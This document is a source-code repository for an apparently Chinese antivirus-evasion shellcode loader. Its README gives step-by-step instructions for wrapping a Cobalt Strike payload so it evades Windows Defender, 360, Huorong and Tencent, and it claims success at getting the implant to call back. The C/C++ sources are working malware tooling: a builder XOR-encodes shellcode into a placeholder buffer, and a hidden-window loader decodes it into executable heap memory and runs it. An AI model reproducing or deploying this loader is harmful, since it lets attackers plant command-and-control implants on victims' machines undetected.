├── README.md ├── img ├── img1.png ├── img2.png ├── img3.png ├── img4.png ├── img5.png ├── img6.png ├── img7.png ├── img8.png └── img9.png └── src ├── LoaderMaker ├── main.cpp └── main.h ├── ShellcodeLoader.sln └── ShellcodeLoader ├── ShellcodeLoader.cpp ├── ShellcodeLoader.h ├── ShellcodeLoader.rc ├── ShellcodeLoaderDlg.cpp ├── ShellcodeLoaderDlg.h ├── framework.h ├── pch.cpp ├── pch.h ├── resource.h ├── resource.hm ├── shellcall.c ├── shellcall.h └── targetver.h /README.md: -------------------------------------------------------------------------------- 1 | # ShellcodeLoader 2 | 3 | Windows通用免杀shellcode加载器。 4 | 5 | ## 功能特点 6 | 7 | 1. 使用MFC框架编写shellcodeLoader模板; 8 | 2. 使用简洁的C++开发LoaderMaker生成器; 9 | 3. 截至发布日期,该shellcodeLoader可免杀国内外主流杀毒软件; 10 | ``` 11 | .--. .-. .-. .-. .-. .-. .-. 12 | : .--': : : : : : : : : : : : 13 | `. `. : `-. .--. : : : : .--. .--. .-' : .--. : : .--. .--. .-' : .--. .--. 14 | _`, :: .. :' '_.': :_ : :_ ' ..'' .; :' .; :' '_.': :__ ' .; :' .; ; ' .; :' '_.': ..' 15 | `.__.':_;:_;`.__.'`.__;`.__;`.__.'`.__.'`.__.'`.__.':___.'`.__.'`.__,_;`.__.'`.__.':_; 16 | 17 | ``` 18 | ## 项目构成 19 | LoaderMaker.exe(shellcodeloader生成器) 20 | 21 | ShellcodeLoader.exe(shellcodeloader模板文件) 22 | ## 编译环境 23 | 24 | 环境:生成器使用C++实现,加载器使用MFC开发,VS2022静态编译。 25 | 26 | 方法:下载源码,使用visual studio进行编译。也可以从[realse](https://github.com/ByPassAVTeam/ShellcodeLoader/releases/)下载release版本直接使用。 27 | 28 | 29 | ## 使用方法 30 | 31 | 1. **打开生成器查看帮助** 32 | 33 | ``` 34 | C:\>LoaderMaker.exe 35 | .--. .-. .-. .-. .-. .-. .-. 36 | : .--': : : : : : : : : : : : 37 | `. `. : `-. .--. : : : : .--. .--. .-' : .--. : : .--. .--. .-' : .--. .--. 38 | _`, :: .. :' '_.': :_ : :_ ' ..'' .; :' .; :' '_.': :__ ' .; :' .; ; ' .; :' '_.': ..' 39 | `.__.':_;:_;`.__.'`.__;`.__;`.__.'`.__.'`.__.'`.__.':___.'`.__.'`.__,_;`.__.'`.__.':_; 40 | 41 | [*]usage: 42 | [*]LoaderMaker.exe 43 | [*]example: 44 | [*]LoaderMaker.exe shellcode.bin loader.exe 45 | 46 | C:\> 47 | ``` 48 | 49 | 2. **使用CobaltStrike生成payload.c文件** 50 | 51 | 1、点击生成payload 52 | ![image1](img/img1.png) 53 | ![image2](img/img2.png) 54 | 55 | 3. **将payload.c转换为纯hex编码** 56 | 57 | 1、打开第二步所生成的payload.c 58 | 59 | 2、复制**引号内**数据(注意!不要复制整个文件,只需要""双引号内的内容) 60 | 61 | 3、使用在线工具[CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto'))将数据转换为纯hex(地址:https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')) 62 | ![image3](img/img3.png) 63 | 64 | 4、将转换后的数据保存到文件 65 | 66 | 67 | 4. **生成免杀Loader** 68 | 69 | 参数如下: 70 | ![image4](img/img4.png) 71 | LoaderMaker.exe是生成器 72 | 73 | download.dat是CyberChef生成的hex文件 74 | 75 | bypassloader.exe是最终我们生成的免杀shellcode加载器 76 | ``` 77 | LoaderMaker.exe download.dat bypassLoader.exe 78 | 79 | ``` 80 | 直接执行bypassLoader.exe,上线成功 81 | ![image5](img/img5.png) 82 | 83 | ## 部分免杀效果展示 84 | 85 | 86 | **Windows Defender** 87 | ![image6](img/img6.png) 88 | 89 | **火绒** 90 | ![image7](img/img7.png) 91 | 92 | **360** 93 | ![image8](img/img8.png) 94 | 95 | **腾讯电脑管家** 96 | ![image9](img/img9.png) 97 | -------------------------------------------------------------------------------- /img/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img1.png -------------------------------------------------------------------------------- /img/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img2.png -------------------------------------------------------------------------------- /img/img3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img3.png -------------------------------------------------------------------------------- /img/img4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img4.png -------------------------------------------------------------------------------- /img/img5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img5.png -------------------------------------------------------------------------------- /img/img6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img6.png -------------------------------------------------------------------------------- /img/img7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img7.png -------------------------------------------------------------------------------- /img/img8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img8.png -------------------------------------------------------------------------------- /img/img9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/img/img9.png -------------------------------------------------------------------------------- /src/LoaderMaker/main.cpp: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | 4 | int main(int argc, char* argv[], char* envp[]) 5 | { 6 | printf(" .--. .-. .-. .-. .-. .-. .-. \r\n"); 7 | printf(": .--': : : : : : : : : : : : \r\n"); 8 | printf("`. `. : `-. .--. : : : : .--. .--. .-' : .--. : : .--. .--. .-' : .--. .--. \r\n"); 9 | printf(" _`, :: .. :' '_.': :_ : :_ ' ..'' .; :' .; :' '_.': :__ ' .; :' .; ; ' .; :' '_.': ..'\r\n"); 10 | printf("`.__.':_;:_;`.__.'`.__;`.__;`.__.'`.__.'`.__.'`.__.':___.'`.__.'`.__,_;`.__.'`.__.':_; \r\n"); 11 | printf(" \r\n"); 12 | if (argc == 3) 13 | { 14 | FILEINFO shellinfo = Openfile(argv[1]); 15 | for (int i = 0; i < shellinfo.size; i++) 16 | { 17 | shellinfo.ptrbuffer[i] = (shellinfo.ptrbuffer[i] ^ i )+ 1; 18 | } 19 | 20 | char loadername[] = "ShellcodeLoader.exe"; 21 | FILEINFO loaderinfo = Openfile(loadername); 22 | int cnt = 0,offset = 0,num = 0; 23 | while (TRUE) 24 | { 25 | if (loaderinfo.ptrbuffer[cnt] == 0x41) 26 | { 27 | offset = cnt; 28 | while (loaderinfo.ptrbuffer[cnt] == 0x41) 29 | { 30 | cnt++; 31 | num++; 32 | if (num > 0x50) 33 | { 34 | break; 35 | } 36 | } 37 | } 38 | if (num > 0x50) 39 | { 40 | break; 41 | } 42 | cnt++; 43 | num = 0,offset = 0; 44 | //scan shellcode buffer 45 | } 46 | Mymemcpy(&(loaderinfo.ptrbuffer[offset]), &(shellinfo.size),sizeof(DWORD)); 47 | 48 | Mymemcpy(&(loaderinfo.ptrbuffer[offset + sizeof(DWORD)]), shellinfo.ptrbuffer, shellinfo.size); 49 | Write2file(loaderinfo.ptrbuffer, loaderinfo.size,argv[2]); 50 | printf("\r\n[+] output file------->%s\r\n",argv[2]); 51 | } 52 | else 53 | { 54 | printf("[*]usage:\r\n"); 55 | printf("[*]LoaderMaker.exe \r\n"); 56 | printf("[*]example:\r\n"); 57 | printf("[*]LoaderMaker.exe shellcode.bin loader.exe\r\n"); 58 | } 59 | //getchar(); 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /src/LoaderMaker/main.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/src/LoaderMaker/main.h -------------------------------------------------------------------------------- /src/ShellcodeLoader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.1.32228.430 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeLoader", "ShellcodeLoader\ShellcodeLoader.vcxproj", "{ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoaderMaker", "LoaderMaker\LoaderMaker.vcxproj", "{C61E4A25-1987-454F-A4C1-30BD44B3F3E3}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Debug|x64.ActiveCfg = Debug|x64 19 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Debug|x64.Build.0 = Debug|x64 20 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Debug|x86.ActiveCfg = Debug|Win32 21 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Debug|x86.Build.0 = Debug|Win32 22 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Release|x64.ActiveCfg = Release|x64 23 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Release|x64.Build.0 = Release|x64 24 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Release|x86.ActiveCfg = Release|Win32 25 | {ACBDAAA2-4CE8-409D-8889-7FF3303BDE2F}.Release|x86.Build.0 = Release|Win32 26 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Debug|x64.ActiveCfg = Debug|x64 27 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Debug|x64.Build.0 = Debug|x64 28 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Debug|x86.ActiveCfg = Debug|Win32 29 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Debug|x86.Build.0 = Debug|Win32 30 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Release|x64.ActiveCfg = Release|x64 31 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Release|x64.Build.0 = Release|x64 32 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Release|x86.ActiveCfg = Release|Win32 33 | {C61E4A25-1987-454F-A4C1-30BD44B3F3E3}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {111C5CD8-2227-4740-80B4-D73752036825} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/ShellcodeLoader.cpp: -------------------------------------------------------------------------------- 1 |  2 | // ShellcodeLoader.cpp: 定义应用程序的类行为。 3 | // 4 | 5 | #include "pch.h" 6 | #include "framework.h" 7 | #include "ShellcodeLoader.h" 8 | #include "ShellcodeLoaderDlg.h" 9 | #include "shellcall.h" 10 | 11 | #ifdef _DEBUG 12 | #define new DEBUG_NEW 13 | #endif 14 | 15 | 16 | // CShellcodeLoaderApp 17 | 18 | BEGIN_MESSAGE_MAP(CShellcodeLoaderApp, CWinApp) 19 | ON_COMMAND(ID_HELP, &CWinApp::OnHelp) 20 | ON_BN_CLICKED(IDC_BUTTON1, &CShellcodeLoaderApp::OnBnClickedButton1) 21 | END_MESSAGE_MAP() 22 | 23 | 24 | // CShellcodeLoaderApp 构造 25 | 26 | CShellcodeLoaderApp::CShellcodeLoaderApp() 27 | { 28 | // TODO: 在此处添加构造代码, 29 | // 将所有重要的初始化放置在 InitInstance 中 30 | } 31 | 32 | 33 | // 唯一的 CShellcodeLoaderApp 对象 34 | 35 | CShellcodeLoaderApp theApp; 36 | 37 | 38 | // CShellcodeLoaderApp 初始化 39 | 40 | BOOL CShellcodeLoaderApp::InitInstance() 41 | { 42 | CWinApp::InitInstance(); 43 | 44 | 45 | // 创建 shell 管理器,以防对话框包含 46 | // 任何 shell 树视图控件或 shell 列表视图控件。 47 | CShellManager *pShellManager = new CShellManager; 48 | 49 | // 激活“Windows Native”视觉管理器,以便在 MFC 控件中启用主题 50 | CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows)); 51 | 52 | // 标准初始化 53 | // 如果未使用这些功能并希望减小 54 | // 最终可执行文件的大小,则应移除下列 55 | // 不需要的特定初始化例程 56 | // 更改用于存储设置的注册表项 57 | // TODO: 应适当修改该字符串, 58 | // 例如修改为公司或组织名 59 | SetRegistryKey(_T("应用程序向导生成的本地应用程序")); 60 | CShellcodeLoaderDlg* dlg = new CShellcodeLoaderDlg(); 61 | m_pMainWnd = dlg; 62 | dlg->Create(IDD_SHELLCODELOADER_DIALOG); 63 | dlg->ShowWindow(SW_HIDE); 64 | dlg->RunModalLoop(); 65 | /*CShellcodeLoaderDlg dlg; 66 | m_pMainWnd = &dlg; 67 | INT_PTR nResponse = dlg.DoModal(); 68 | if (nResponse == IDOK) 69 | { 70 | // TODO: 在此放置处理何时用 71 | // “确定”来关闭对话框的代码 72 | } 73 | else if (nResponse == IDCANCEL) 74 | { 75 | // TODO: 在此放置处理何时用 76 | // “取消”来关闭对话框的代码 77 | } 78 | else if (nResponse == -1) 79 | { 80 | TRACE(traceAppMsg, 0, "警告: 对话框创建失败,应用程序将意外终止。\n"); 81 | TRACE(traceAppMsg, 0, "警告: 如果您在对话框上使用 MFC 控件,则无法 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n"); 82 | }*/ 83 | 84 | // 删除上面创建的 shell 管理器。 85 | if (pShellManager != nullptr) 86 | { 87 | delete pShellManager; 88 | } 89 | 90 | #if !defined(_AFXDLL) && !defined(_AFX_NO_MFC_CONTROLS_IN_DIALOGS) 91 | ControlBarCleanUp(); 92 | #endif 93 | 94 | // 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序, 95 | // 而不是启动应用程序的消息泵。 96 | return FALSE; 97 | } 98 | 99 | 100 | 101 | void CShellcodeLoaderApp::OnBnClickedButton1() 102 | { 103 | // TODO: 在此添加控件通知处理程序代码 104 | MessageBoxW(NULL,L"nothing", L"nothing",MB_OK); 105 | } 106 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/ShellcodeLoader.h: -------------------------------------------------------------------------------- 1 |  2 | // ShellcodeLoader.h: PROJECT_NAME 应用程序的主头文件 3 | // 4 | 5 | #pragma once 6 | 7 | #ifndef __AFXWIN_H__ 8 | #error "在包含此文件之前包含 'pch.h' 以生成 PCH" 9 | #endif 10 | 11 | #include "resource.h" // 主符号 12 | 13 | 14 | // CShellcodeLoaderApp: 15 | // 有关此类的实现,请参阅 ShellcodeLoader.cpp 16 | // 17 | 18 | class CShellcodeLoaderApp : public CWinApp 19 | { 20 | public: 21 | CShellcodeLoaderApp(); 22 | 23 | // 重写 24 | public: 25 | virtual BOOL InitInstance(); 26 | 27 | // 实现 28 | 29 | DECLARE_MESSAGE_MAP() 30 | afx_msg void OnBnClickedButton1(); 31 | }; 32 | 33 | extern CShellcodeLoaderApp theApp; 34 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/ShellcodeLoader.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaoma99272/ShellcodeLoader-1/ac4318242072e4726171b00940ea91443df80aea/src/ShellcodeLoader/ShellcodeLoader.rc -------------------------------------------------------------------------------- /src/ShellcodeLoader/ShellcodeLoaderDlg.cpp: -------------------------------------------------------------------------------- 1 |  2 | // ShellcodeLoaderDlg.cpp: 实现文件 3 | // 4 | 5 | #include "pch.h" 6 | #include "framework.h" 7 | #include "ShellcodeLoader.h" 8 | #include "ShellcodeLoaderDlg.h" 9 | #include "afxdialogex.h" 10 | #ifdef _DEBUG 11 | #define new DEBUG_NEW 12 | #endif 13 | 14 | extern "C" 15 | { 16 | #include "shellcall.h" 17 | } 18 | // CShellcodeLoaderDlg 对话框 19 | 20 | 21 | 22 | CShellcodeLoaderDlg::CShellcodeLoaderDlg(CWnd* pParent /*=nullptr*/) 23 | : CDialogEx(IDD_SHELLCODELOADER_DIALOG, pParent) 24 | { 25 | m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); 26 | } 27 | 28 | void CShellcodeLoaderDlg::DoDataExchange(CDataExchange* pDX) 29 | { 30 | CDialogEx::DoDataExchange(pDX); 31 | } 32 | 33 | BEGIN_MESSAGE_MAP(CShellcodeLoaderDlg, CDialogEx) 34 | ON_WM_PAINT() 35 | ON_WM_QUERYDRAGICON() 36 | ON_LBN_SELCHANGE(IDC_LIST1, &CShellcodeLoaderDlg::OnLbnSelchangeList1) 37 | END_MESSAGE_MAP() 38 | 39 | 40 | // CShellcodeLoaderDlg 消息处理程序 41 | 42 | BOOL CShellcodeLoaderDlg::OnInitDialog() 43 | { 44 | CDialogEx::OnInitDialog(); 45 | // 设置此对话框的图标。 当应用程序主窗口不是对话框时,框架将自动 46 | // 执行此操作 47 | SetIcon(m_hIcon, TRUE); // 设置大图标 48 | SetIcon(m_hIcon, FALSE); // 设置小图标 49 | start(); 50 | // TODO: 在此添加额外的初始化代码 51 | 52 | return TRUE; // 除非将焦点设置到控件,否则返回 TRUE 53 | } 54 | 55 | // 如果向对话框添加最小化按钮,则需要下面的代码 56 | // 来绘制该图标。 对于使用文档/视图模型的 MFC 应用程序, 57 | // 这将由框架自动完成。 58 | 59 | void CShellcodeLoaderDlg::OnPaint() 60 | { 61 | if (IsIconic()) 62 | { 63 | CPaintDC dc(this); // 用于绘制的设备上下文 64 | 65 | SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0); 66 | 67 | // 使图标在工作区矩形中居中 68 | int cxIcon = GetSystemMetrics(SM_CXICON); 69 | int cyIcon = GetSystemMetrics(SM_CYICON); 70 | CRect rect; 71 | GetClientRect(&rect); 72 | int x = (rect.Width() - cxIcon + 1) / 2; 73 | int y = (rect.Height() - cyIcon + 1) / 2; 74 | 75 | // 绘制图标 76 | dc.DrawIcon(x, y, m_hIcon); 77 | } 78 | else 79 | { 80 | CDialogEx::OnPaint(); 81 | } 82 | } 83 | 84 | //当用户拖动最小化窗口时系统调用此函数取得光标 85 | //显示。 86 | HCURSOR CShellcodeLoaderDlg::OnQueryDragIcon() 87 | { 88 | return static_cast(m_hIcon); 89 | } 90 | 91 | 92 | 93 | void CShellcodeLoaderDlg::OnLbnSelchangeList1() 94 | { 95 | // TODO: 在此添加控件通知处理程序代码 96 | } 97 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/ShellcodeLoaderDlg.h: -------------------------------------------------------------------------------- 1 |  2 | // ShellcodeLoaderDlg.h: 头文件 3 | // 4 | 5 | #pragma once 6 | 7 | 8 | // CShellcodeLoaderDlg 对话框 9 | class CShellcodeLoaderDlg : public CDialogEx 10 | { 11 | // 构造 12 | public: 13 | CShellcodeLoaderDlg(CWnd* pParent = nullptr); // 标准构造函数 14 | 15 | // 对话框数据 16 | #ifdef AFX_DESIGN_TIME 17 | enum { IDD = IDD_SHELLCODELOADER_DIALOG }; 18 | #endif 19 | 20 | protected: 21 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 22 | 23 | 24 | // 实现 25 | protected: 26 | HICON m_hIcon; 27 | 28 | // 生成的消息映射函数 29 | virtual BOOL OnInitDialog(); 30 | afx_msg void OnPaint(); 31 | afx_msg HCURSOR OnQueryDragIcon(); 32 | DECLARE_MESSAGE_MAP() 33 | public: 34 | afx_msg void OnLbnSelchangeList1(); 35 | }; 36 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef VC_EXTRALEAN 4 | #define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料 5 | #endif 6 | 7 | #include "targetver.h" 8 | 9 | #define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的 10 | 11 | // 关闭 MFC 的一些常见且经常可放心忽略的隐藏警告消息 12 | #define _AFX_ALL_WARNINGS 13 | 14 | #include // MFC 核心组件和标准组件 15 | #include // MFC 扩展 16 | 17 | 18 | 19 | 20 | 21 | #ifndef _AFX_NO_OLE_SUPPORT 22 | #include // MFC 对 Internet Explorer 4 公共控件的支持 23 | #endif 24 | #ifndef _AFX_NO_AFXCMN_SUPPORT 25 | #include // MFC 对 Windows 公共控件的支持 26 | #endif // _AFX_NO_AFXCMN_SUPPORT 27 | 28 | #include // MFC 支持功能区和控制条 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: 与预编译标头对应的源文件 2 | 3 | #include "pch.h" 4 | 5 | // 当使用预编译的头时,需要使用此源文件,编译才能成功。 6 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: 这是预编译标头文件。 2 | // 下方列出的文件仅编译一次,提高了将来生成的生成性能。 3 | // 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。 4 | // 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。 5 | // 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // 添加要在此处预编译的标头 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ 生成的包含文件。 3 | // 供 ShellcodeLoader.rc 使用 4 | // 5 | #define IDD_SHELLCODELOADER_DIALOG 102 6 | #define IDR_MAINFRAME 128 7 | #define IDC_BUTTON1 1000 8 | #define IDC_LIST1 1002 9 | 10 | // Next default values for new objects 11 | // 12 | #ifdef APSTUDIO_INVOKED 13 | #ifndef APSTUDIO_READONLY_SYMBOLS 14 | #define _APS_NEXT_RESOURCE_VALUE 130 15 | #define _APS_NEXT_COMMAND_VALUE 32771 16 | #define _APS_NEXT_CONTROL_VALUE 1003 17 | #define _APS_NEXT_SYMED_VALUE 101 18 | #endif 19 | #endif 20 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/resource.hm: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated Help ID include file. 2 | // Used by ShellcodeLoader.rc 3 | // 4 | #define HIDC_LIST1 0x806603ea // IDD_SHELLCODELOADER_DIALOG 5 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/shellcall.c: -------------------------------------------------------------------------------- 1 | #include "shellcall.h" 2 | void run(void* buffer) { 3 | void (*function)(); 4 | function = (void (*)())buffer; 5 | function(); 6 | } 7 | void start() 8 | { 9 | LPVOID heap; 10 | heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); 11 | char shellcode[DATA_SIZE] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 12 | 13 | 14 | DWORD size = ((PDWORD)shellcode)[0];//size 15 | 16 | PCHAR ptr = HeapAlloc(heap, HEAP_ZERO_MEMORY, size); 17 | 18 | 19 | PCHAR tmpptr = (DWORD)shellcode + sizeof(DWORD); 20 | 21 | for (int i = 0; i < size; i++) 22 | { 23 | ptr[i] = (tmpptr[i] - 1) ^ i; 24 | } 25 | 26 | //EnumWindows((WNDENUMPROC)run, ptr); 27 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, ptr, 0, NULL); 28 | while (1) 29 | { 30 | Sleep(8000); 31 | } 32 | return 0; 33 | } 34 | void* __cdecl Mymemcpy(void* dest, 35 | const void* src, 36 | size_t count 37 | ) 38 | { 39 | char* char_dest = (char*)dest; 40 | char* char_src = (char*)src; 41 | 42 | if ((char_dest <= char_src) || (char_dest >= (char_src + count))) 43 | { 44 | /* non-overlapping buffers */ 45 | while (count > 0) 46 | { 47 | *char_dest = *char_src; 48 | char_dest++; 49 | char_src++; 50 | count--; 51 | } 52 | } 53 | else 54 | { 55 | /* overlaping buffers */ 56 | char_dest = (char*)dest + count - 1; 57 | char_src = (char*)src + count - 1; 58 | 59 | while (count > 0) 60 | { 61 | *char_dest = *char_src; 62 | char_dest--; 63 | char_src--; 64 | count--; 65 | } 66 | } 67 | 68 | return dest; 69 | } -------------------------------------------------------------------------------- /src/ShellcodeLoader/shellcall.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #define DATA_SIZE 27136 4 | 5 | 6 | void start(); 7 | 8 | void run(void* buffer); 9 | -------------------------------------------------------------------------------- /src/ShellcodeLoader/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。 4 | 5 | //如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并 6 | // 将 _WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。 7 | 8 | #include 9 | --------------------------------------------------------------------------------